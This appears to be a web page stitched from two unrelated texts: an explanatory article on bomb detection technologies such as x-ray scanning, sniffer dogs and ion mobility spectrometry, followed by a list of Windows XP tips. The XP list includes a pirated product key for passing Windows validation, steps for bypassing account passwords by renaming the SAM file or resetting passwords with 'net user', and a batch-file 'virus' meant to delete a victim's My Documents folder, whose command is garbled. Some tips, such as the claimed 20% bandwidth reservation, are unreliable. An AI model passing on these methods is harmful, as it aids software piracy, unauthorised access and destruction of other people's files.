Bomb Detector

When detonated in strategic, population-dense, or confined spaces, bombs are especially destructive. For example, a bomb planted by political terrorists in a suitcase was responsible for the explosion of Pan Am Flight 103 over Lockerbie, Scotland, on December 21, 1988, that claimed 270 lives. Given the devastation that bombs can cause, and the risk they pose to national security, the detection of bombs is a important priority in airports and elsewhere.

Despite the fact that x-ray examination may not detect some bombs, the technique is still a mainstay in bomb detection. For example, x-rays are the best way to reveal the presence in luggage of suspicious shapes. Plastic explosives can be molded to resemble common objects. Also, explosives are not metallic, and so will escape metal detection. A well-trained operator is a key part of this bomb detection strategy. A newer version of the x-ray examination places a reflector on the opposite side of an object from the x-ray beam. As the rays are scattered back, they are analyzed by a sophisticated computer program, which can reveal differences in the outgoing and incoming beams that were caused by passage of the beams through suspicious material.

Another version of the x-ray dual energy technology sends two x-ray beams through the object at the same time. One of the beams distinguishes organic material (i.e., food, leather objects, paper) and displays them as red. The other beam distinguishes inorganic objects (i.e., metal clips, umbrella, metal pens) as green or blue. The color difference helps the operator quickly scan packages and baggage for object that are suspicious by their shape or chemistry. A similar method, which uses radio waves instead of x-rays, is called quadrupole resonance technology.

Another optical device is computer tomography, a technique that has been adapted from the CAT scan xray technology used in the medical operating room. In

A dust sample is taken from a laptop computer and the particles analyzed for explosives residue by a Barringer explosives detection device.

AP/WIDE WORLD PHOTOS

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tomography, an object is scanned and then a computer analyzes the x-ray image. If areas of the package have not been adequately revealed, the x-ray source can be rotated so as to produce a detailed view of the specific area. In this way packages and baggage can be examined in great detail.

Some bomb components can leave a scent. Until a few decades ago, specially trained dogs were a mainstay of bomb detection squads. Specially trained dogs are still used today to check out packages or locations that are difficult to examine using a machine. A dog's nose is actually a bit more sensitive than the sensitivity of detection machinery that is currently available. However, a dog and handler costs approximately $50,000 a year, whereas a piece of detection equipment represents a one-time cost of $20,000 to $40,000. Thus, machines are becoming more prevalent.

One such technology utilizes gas chromatography and a property called chemiluminescence. In gas chromatography, chemicals of different composition can be separated from each other based on their differing speeds in a stream of gas (selection of the gas can determine the rate of movement of different compounds). A compound in the gas, which will then glow, will recognize an isolated compound that has a certain chemical group in its structure. The glowing (chemiluminescence) registers on an optical detector, revealing the presence of the explosive chemical.

Devices known as sniffers detect vapor given off by certain explosives. Chemicals such as nitroglycerin are readily detected. But, a sniffer can miss explosives such as plastic explosives that do not readily vaporize. Thus, a sniffer should be used only as part of a bomb detection regimen that involves other detection techniques.

Another device detects chemicals present in bombs by concentrating the air collected from a target location. The air is drawn through a filter, where explosive chemicals collect, due to their tendency to be heavier than the air molecules around them. The filter is analyzed using ion mobility spectrometry

The spectrometric technique is very sensitive. Less than a nanogram (10₉ of a gram) of explosives residue can be detected. To put this into perspective, a fingerprint on a luggage handle left by someone had been handling explosives will typically contain 100,000 times more of the residue.

An ion mobility spectrometer (IMS) is a spectrometer capable of detecting and identifying very low concentrations of chemicals based upon the differential migration of gas phase ions through a homogeneous electric field. IMS devices come in a wide range of sizes (often tailored for a specific application) and are capable of operating under a broad range of conditions. Systems operated at higher pressure (i.e. atmospheric conditions, 1 atm or 760 Torr) are also accompanied by elevated temperature (above 100°C), while lower pressure systems (1-20 Torr) do not require heating. Elevated temperature assists in removing ion clusters that may distort experimental measurements.

n its simplest form an IMS system measures how fast a given ion moves in a uniform electric field through a given atmosphere. The molecules of the sample need to be ionized, usually by corona discharge, atmospheric pressure photoionization (APPI), electrospray ionization (ESI), or a radioactive source, eg. a small piece of ⁶³Ni or ²⁴¹Am, similar to the one used in ionization smoke detectors.

In specified intervals, a sample of the ions is let into the drift chamber; the gating mechanism is based on a charged electrode working in a similar way as the control grid in triodes works for electrons. For precise control of the ion pulse width admitted to the drift tube, more complex gating systems such as a Bradbury-Nielsen design are employed. Once in the drift tube, ions are subjected to a homogeneous electric field ranging from a few volts per centimeter up to many hundreds of volts per centimeter. This electric field then drives the ions through the drift tube where they interact with the neutral drift molecules contained within the system. Separation of chemical species is achieved based upon the ion mobility (a parameter that is dependent of ion mass, size, and shape) where they arrive at the detector for measurement. Ions are recorded at the detector in order from the fastest to the slowest, generating a response signal characteristic for the chemical composition of the measured sample. Often the detector is a simple Faraday plate, however, more advanced ion mobility instruments are coupled with mass spectrometers where both size and mass information may be obtained simutaneously.

Perhaps ion mobility spectrometry's greatest strength is the speed at which separations occur--typically on the order of 10's of milliseconds. This feature combined with its ease of use, relatively high sensitivity, and highly compact design have allowed IMS as a commercial product to be used as a routine tool for the field detection of explosives, drugs, and chemical weapons. In the pharmaceutical industry IMS is used in cleaning validations, demonstrating that reaction vessels are sufficiently clean to proceed with the next batch of pharmaceutical product. As a research tool ion mobility has also shown great strides towards the analysis of biological materials, specifically, proteomics and metabolomics.

Star Trek-like technology being developed at The University of Arizona might soon screen airplane passengers for explosives as they walk through a portal similar to a metal detector while hand-held units scan their baggage.

The new device is about 1,000 times more sensitive than the equipment currently used in airports to discern explosives. Rather than analyzing a swab from a person's briefcase, the new technology could detect the traces of explosives left in air that passes over a person who has handled explosives.

"This is a form of tricorder," said M. Bonner Denton, the professor of chemistry at UA in Tucson who's spearheading the new technology. Denton said combining such technology with a walk-through portal would make it simple to screen 100 percent of passengers.

The new device can be pocket-sized. The analyzers currently used in airports are about the size of a table-top microwave oven. Denton, UA scientist Roger Sperline and Christopher Gresham and David Jones of Sandia National Laboratories in Albuquerque, N.M. are working on developing a hand-held analyzer capable of detecting small traces of explosives or illicit drugs.

Such a device could be used at border crossings, Denton said. "This is more sensitive than dogs' noses. It does not suffer from overexposure or a case of sinus. One can store it in the cabinet, then grab the unit, turn it on – and it's running. And it tells you what material has been detected. Dogs just tell you something's been detected."

Denton will talk about this and other portable detection instruments on Monday, March 14, at 2 p.m. Eastern Time (11 a.m Pacific Time) at the 229th American Chemical Society national meeting in San Diego. His talk, "Advanced Instrumental Technologies and Their Impact on Homeland Security and on Forensic Science," will be given in Room 25C of the San Diego Convention Center.

Detecting explosives or drugs means sorting through an environmental mish-mash of chemical signals to pick out the one chemical of interest. That's what a drug-sniffing dog's nose does – picks out the chemical signature of a drug from the chemicals that come from the dirty laundry, candy, food stains, fabrics, toothpaste and everything else inside someone's luggage.

To do the same thing to detect explosives, machines at airport screening stations use a technology called ion mobility spectrometry.

Ions, or charged molecules, move when placed in an electric field. The speed at which an ion moves depends on its size and shape, so each ion has a characteristic speed. The airport analyzers snatch a collection of chemicals gathered from a person's luggage, put those chemicals into an electric field and then search for any ion that has a speed that indicates "explosive."

The machine needs a certain number of molecules to accurately detect and identify a specific chemical. If there are very few molecules of a particular substance, the machine cannot distinguish that molecule from all the others in the mix.

Denton realized that one place to improve detection was the electronics of ion mobility spectrometers. So he adapted circuitry originally developed for use in infrared astronomy.

The new device, called a capacitive transimpedance amplifier, improves the readout circuitry in ion mobility spectrometers.

"This change in readout electronics is key to the vastly improved sensitivity. It boosts the signal while lowering the noise," Denton said. "This is the first radical change in ion detection since the 1930s.

Some of the great XP tricks

Please Go Through All The TopicsINDEX:-

00)MAKING WINDOWS XP GENUINE THE EASY WAY

01)Creating a desktop shortcut for locking your computer

02)Deleting System Softwares

03)Creating Shutdown Icon or One Click Shutdown

04)Modify autoplay for different types of CD

05)Renaming The Recycle Bin icon

06)Locking the desktop

07)Removing Shared Documents folder From My Computer

08)Force windows XP to reboot upon crashing

09)Making Google the Default Search Engine in Internet

10)Increasing Band-Width By 20%

11)Customize Logon prompt with your Own Words

12)To change Drive Letters

13)Removing the Shortcut arrow from Desktop Icons:

14)Hiding shared folders with $

15)Improving the Slow Boot up time:

16)Customize Internet Explorer's Title Bar:

17)Removing the Recycle Bin from the Desktop:

18)Adding Administrative Tools Icon To The Desktop:

19)Using advanced file security settings in Windows

20)Creating The Suspend Shortcut:

21)Disable the Disk performance counter(s)

22)Modify Color Selection of Default Theme

23)Removing Multiple Boot Screens

24)Extremely Fast BootUp

25)To Increase the Internet Speed:

26)Renaming The Start Button:

27)Disabling Unnecessary Programs At Startup:

28)To convert a FAT partition to NTFS:

29)Breaking The XP Password:

30)Automatically run programs when starting Windows

31)Hosting online games through the Windows XP firewall

32)Quick Back And Forward Commands In Ie Using Keyboard

33)Disabling Msn Messanger At Startup

34)Creating A Virus

35)How to Hide the drives(c:,d:,e:,a:...etc) in My Computer

36)Create a password reset disk

37)Use system restore when you cannot boot your system

38)Set monitor refresh rate

39)Automatically close non-responsive programs

MAKING WINDOWS XP GENUINE THE EASY WAYdownload jellybean keyfinder from this website http://www.magicaljellybean.com/keyfinder.shtmlNow open keyfinder.exeClick on options and click "change windows key"Now enter this key and you're done. *****************************V2C47-MK7JD-3R89F-D2KXW-VPK3J *****************************P.S: this works on windows xp sp2 only...... ppl u can try this out...this might sound silly but it works perfectly...TRY INSTALLING IE7 OR MEDIA PLAYER11.

Creating a desktop shortcut for locking your computer:

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks: Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.' You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button. In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out. it is usegul if u have an account as it will prompt 4 a password.

Deleting System Softwares:

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Creating Shutdown Icon or One Click Shutdown:

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.Use this path in "Type Location of the Item"SHUTDOWN -s -t 01If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.
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Modify autoplay for different types of CDWindows :

XP includes the ability to perform different actions depending on the type of CD you insert into the drive. For example, you could set your system to always respond to CDs containing MP3 files by opening Windows Media Player. To edit the Autoplay properties: Open 'my computer'. Right click on the drive you wish to set and select 'properties.' Choose the autoplay tab. Use the dropdown box to see the various recognized types of CD and choose appropriate actions for them.

Renaming The Recycle Bin icon:

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}and change the name "Recycle Bin" to whatever you want (don't type any quotes).
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Locking the desktop:

If you are leaving your computer for a while and do not wish to turn it off, but want to assure that no-one else can use the computer while you are away, locking the desktop is the best option. By pressing WINDOWSKEY+L, you password protect your system just as if you had logged out or restarted the computer. The advantage is that any programs or processes that were running when you locked the desktop will stay open and running in the background, ready for you to resume work or play.
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Removing Shared Documents folder From My Computer:

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to keyHKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFoldersYou must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

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Force windows XP to reboot upon crashing:

This registry edit will cause your system to reboot itself automatically upon crashing. This can be useful if you have a reason for keeping your system on 24/7:Open REGEDITNavigate to 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl' Edit the 'AutoReboot' value to '1'


Making Google the Default Search Engine in Internet:

Open registry editor by going to Start then Run and entering regedit and navigate to following three keys separately and change it as shown below:[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]"Search Page"=" http://www.google.com/""Search Bar"=" http://www.google.com/ie"[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL]""=" http://www.google.com/keyword/%s"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]"SearchAssistant"=" http://www.google.com/ie" .

Increasing Band-Width By 20%:

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etcTo get it back:Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:Local Computer Policy then Computer Configuration then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Customize Logon prompt with your Own Words:

Open Registry by going to Start then Run, entering regedit and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]. In right pane, look for key by the name "LogonPrompt". Set its value to whatever text you want to see displayed at login screen.
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To change Drive Letters:

Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."From here you can add, remove or change drive letters and paths to the partition
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Removing the Shortcut arrow from Desktop Icons:

Goto Start then Run and Enter regedit. Navigate to HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may need to restart Windows XP.

Hiding shared folders with $:

If you would like to share a folder so that users on your network can access it easily, but are worried about displaying the folder for anyone to browse through, there is an easy way to render a shared folder invisible but still accessible. From the shared folder dialog: (right click on desired folder\sharing and security\). You can hide a shared folder by simply adding a '$' to the end of the name you give the folder in the 'sharing and security' window. In this way, you can maintain network access to shared folders, while hiding them from prying eyes. To browse to a hidden shared folder from another computer, simply click 'start/run' then type \\(name of the computer the share is on)\(sharename$) and press enter.
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Improving the Slow Boot up time:

There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility. Go to Start then Run and enter MSCONFIG and go to the Startup tab. Deselect/UnCheck application(s) that you do not want to startup at boot time.
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Customize Internet Explorer's Title Bar:

Open Registry by going to Start then Run and Enter regedit. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.

Removing the Recycle Bin from the Desktop:

If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together. Run Regedit and go to:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace

Adding Administrative Tools Icon To The Desktop:

Open Registry Editor. In Registry Editor, navigate to the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry Editor. There is no need to reboot. Just wait a few seconds and see how the icon appears


Using advanced file security settings in Windows:

Windows XP is based on the same platform as Windows 2000, and shares that operating system's robust file security options, at least when using the NTFS file system. Unfortunately this security system, which enables an administrator to decide exactly which files and programs any given user will have access to, is not actually implemented by default in Windows XP. This is a concession Microsoft made to avoid confusing basic users of XP Pro, and to cripple XP Home. The NTFS file security options can be enabled easily enough in XP Pro, but are apparently non-existent in the Home version. Fact is, the tools are there, you just need to look a little bit harder. To enable NTFS file security in Windows XP Home: First you need to assure that at least your main hard drive is formatted with the NTFS file system. See tip #61 for instructions on this. Restart your system. Just after the memory and BIOS check screen, but before the Windows splash screen comes up, press F8 a few times. When the Windows boot menu appears, select 'safe mode' from the list of options. Once Windows has loaded in safe mode, right click the folders and files you would like to change access to. You will notice that the 'security' tab now exists, and thus you are allowed to assign or deny access to individual users for each file, folder and program. Once you are done, restart Windows normally, and your changes will be enforced.


Creating The Suspend Shortcut:

Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll, SetSuspendState . Give it whatever name you want. Now when you click on that shortcut, your computer will shutdown and suspend.


Disable the Disk performance counter(s):

Windows XP contains a built in performance monitor that is constantly examining various areas of your system. This information can be called up using the performance monitor application found in control panel\administrative tools. Of course, most of us have little interest in this sort of performance statistics monitoring, that being more the territory of systems administrators than individual users. The thing is, XP is still monitoring away, and some of its observation tools can use a considerable amount of resources. The disk monitoring is an example of this, and it's a good idea to turn the disk monitors off if you are not planning to use the performance monitor application. To do this: Go to the command prompt ('start\run' then type 'cmd') and type 'diskperf -N' Alternate MethodWin XP comes with many inbuilt performance monitoring applications that constantly examine various parts of the system. This information can be of real use to a system administrator for collecting performance statistics. However, for a home user, these statistics hold no value and since the monitoring happens all the time, it consumes a good deal of system resources. “Disk monitoring”, for example, happens in the background, and turning it off is advisable if you will not be using the performance monitoring applications. To turn it off, type in “diskperf -N” at a command prompt. To bring up the command prompt: go to Start>Run, type in “cmd” and press [Enter].
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Modify Color Selection of Default Theme:

Open registry by going to Start then Run. Entering regedit, navigate to [HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\ThemeManager] and locate the key "ColorName".Right Click on it and select modify its value from "NormalColor" to "Metallic"Click Ok, and exit regedit and restart your computer.


Removing Multiple Boot Screens:

If you are getting unwanted multiple boot screenThen Follow these Steps.1> Right Click on My Computer2>Select Properties3>Select Advanced Tab4>Select Settings In the Startup & Recovery Section(3rd grp)5>Select the operating system which u want.6>And Click OK.7>Further again press the setting and click on Edit.8>It will open boot.ini File.9>Now u can delete those o/s which you don't want to be displayed.Note: For deleting operating systems from boot.ini file, keep it mind that you can'tdelete that o/s which is selected by default there. Beforemaking any changes make a copy of boot.ini file.
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EXTREMELY FAST BOOTUPThe trick is Enabling Hibernation:

Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'. Press shift button after you click 'Turn Off Computer' in start menu.

To Increase the Internet Speed:

Open Notepad and paste the below code in it. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]"SackOpts"=dword:00000001"TcpWindowSize"=dword:0005ae4c"Tcp1323Opts"=dword:00000003"DefaultTTL"=dword:00000040"EnablePMTUBHDetect"=dword:00000000"EnablePMTUDiscovery"=dword:00000001"GlobalMaxTcpWindowSize"=dword:0005ae4cNow save this file as speed.reg. Execute it and observe the change!


Renaming The Start Button:

To rename the start button, you will need a hex editor.My preference is UltraEditCopy the \windows\explore.exe file to a new name (e.g. explorer_1.exe) With the hex editor, open that file and go to offset 412b6 You will see the word start with blanks between each letter Edit it be any 5 characters or less Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.org Copy explorer_1.exe to explorer.exe You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one. Note: If the partition is NTFS and you can't access the files from DOS:Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe


Disabling Unnecessary Programs At Startup:

Many programs add portions of themselves starting automatically on every login.This can be either in the Startup Folder or the Registry. One easy way to tell is by looking at how many icons are in your system tray. If you have a large number, perhaps unnecessary resources are being allocated them as well as increasing your boot time. Typical examples are Microsoft Office, Office FindFast, Real Player, ATI http://www.orkut.com/archive/video">Video setting etc. You can remove them in one of three main ways: In the Start / Programs / Startup Folder In the Registry under HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

To convert a FAT partition to NTFS:

To convert a FAT partition to NTFS:Click Start, click Programs, and then click Command Prompt.In Windows XP, click Start, click Run, type cmd and then click OK.At the command prompt, type CONVERT [driveletter]: /FS:NTFS.Convert.exe will attempt to convert the partition to NTFS.NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD).


Breaking The XP Password:

In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mjNow XP wont ask for password next time You Login. AlsoGo to the cmd prompt . Type net user *. It will list all the users. Again type net user "administrator" or the name of the administrator "name" *. e.g.: net user aaaaaa *(where aaaaaa is the name). It will ask for the password. Type the password and there you are done. Logging In As Administrator:Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator. To unhide the Administrator account so it does show up:Start Regedit Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList Unhide the Administrator key by giving it a value of 1


Automatically run programs when starting Windows:

If there are applications or commands that you run every single time you start your computer (Email comes to mind) you may want to consider setting things up so that these programs run automatically during the Windows XP startup. This can be done quite easily in XP by creating shortcuts and shuffling them around. Here's how: Windows XP has a startup folder located at 'C:\ Documents and Settings\ (your user name)\ Start Menu\ Programs\Startup.' Shortcuts placed into this folder will be run automatically when Windows XP starts up. If you already have shortcuts for the programs you desire to use, copy and paste them into the startup folder. Otherwise, go to 'start\programs,' select the program you would like to create a shortcut for, right click it and select 'send to' then 'desktop.' This will create a shortcut on the desktop that you can then use.


Hosting online games through the Windows XP firewall:

If you are using the Windows XP firewall and you wish to host an online game such as Quake 3, or other applications that require users on the Internet to contact your computer directly, you will need to customize your firewall slightly to allow these specific communications through. Fortunately the XP firewall makes these changes fairly easy to do. To customize your firewall: Go to 'start\control panel\network connections'. Right click on the network connection that has the firewall enabled and go to 'properties.' Choose the 'settings' button at the bottom. On the 'services' tab, click the 'add' button. This window will add the application that you are using to the firewall's list of data that is allowed into your computer. You will need to find out the port that your application uses. This information should be available from the documentation or from the software manufacturer's website. Input a description for your convenience, then the computer name or IP address of the computer that is hosting the program, then put the port number that the program uses. Note that as long as the program is running on the computer that uses the XP firewall, the internal and external port will be the same. Click 'ok' to apply the rule. Your firewall will now allow connections through the port you specified.



Quick Back And Forward Commands In Ie Using Keyboard:

HOLD THE SHIFT KEY AND SCROLL THE PAGES OF IE TO GO FORWARD AND BACKWARD.


Disabling Msn Messenger :

At StartupTo Disable Messenger MSN from running go to the start menu and select RUN. In the window that appears type regedit The Registry editor will now have opened. Navigate to the following Key:HKEY_LOCAL_MACHINE\Software\Policies\MicrosoftNow create a new key by selecting Edit from the main menu bar. Now select New then Key.Name this new Key: MessengerNow select the newly created Messenger Key and create another new Key. Only this time we are going to name it: Client Next we have to create a DWORD value. So Right Click the new Client Key and select New then DWORD.Name the DWORD PreventRun Now we need to give it a Data Value of 1Now restart Windows XP and you will have successfully Disabled Messenger MSN


alternate method of disabling windows messanger:

If you don't want MSN Messanger to start at startup simply logon to your accout and go to tools --> options to disable it. If you don't have an account, as it won't let you change the options without first logoning on to an account. Click on the Start Button --> run and type in "regedit", then go to,HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\RunDelete the key that says, MSMSGS - REG_SZ - "C:\Program Files\Messenger\msmsgs.exe" /background


CREATING A VIRUS:

HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.rmdir C:\Documents and Settings \S\Q.
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How to Hide the drives(c:,d:,e:,a:...etc) in My Computer:

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.1.Go to start->run.Type regedit.Now go to:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerNow in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....


Create a password reset disk:

Here's an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here's a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it. To create the disk: Go to start\control panel\user accounts. Select the account you are currently logged in as. Under the 'related tasks' heading in the top left corner, click 'prevent a forgotten password' to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk. To use the password reset disk in case of emergency: Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password. Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP's built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP by using tip #31 above. Keep your reset disk in a safe location, because anyone else can also use it to reset your password....
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Use system restore when you cannot boot your system:

If your system has failed to the point where you cannot access the Windows GUI either through booting normally or through safe mode, you may still have the chance to use the System Restore feature if you have it enabled, by running it form the command prompt. To do this: Restart your computer and press F8 after the POST screen to bring up the Windows XP boot menu. Choose 'boot in safe mode with command prompt.' If your system gets to the command prompt successfully, type '%systemroot%\system32\restore\rstrui.exe' and then press enter. Follow the onscreen instructions to restore your computer to a previous saved point.

Set monitor refresh rate:
Every monitor has a maximum refresh rate it is capable of displaying at a given resolution (for example, a typical 17-inch monitor of a few years ago will happily crank out 85Hz or more at a resolution of 800x600, but may only be capable of 60Hz at 1600x1200). If this refresh rate is exceeded, the image will be distorted and unusable. Older CRT monitors, especially 15-inch or smaller ones, tend not to be capable of a refresh rate much over 60Hz, especially at resolutions greater than 640X480. Also, setting the refresh rate does not have the same effect on LCD or flat panel monitors, as their screens are not redrawn in the same way.To change your monitor refresh rate: Right click on an empty space on your desktop (no icons) and select 'properties.' Click the 'settings' tab and choose the 'advanced' button. Now choose the 'adaptor' tab and click the 'show all modes' button.This presents you with a list of resolution, colour and refresh rate options that your video card\monitor combination is capable of displaying. You can experiment with these settings by using the 'apply' button. Note that a refresh rate of 75Hz or above is generally recommended, (keep in mind most monitors do not support settings higher than 85Hz).After you set the refresh rate, you may feel a little uncomfortable for a short while as your eyes adjust, but rest assured you will grow to appreciate the difference in ease of viewing.

Automatically close non-responsive programs:
With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually. To do this: Open REGEDIT and navigate to HKEY_CURRENT_USER\Control Panel\ Desktop Modify the REG_SZ entry AutoEndTasks with a value of 1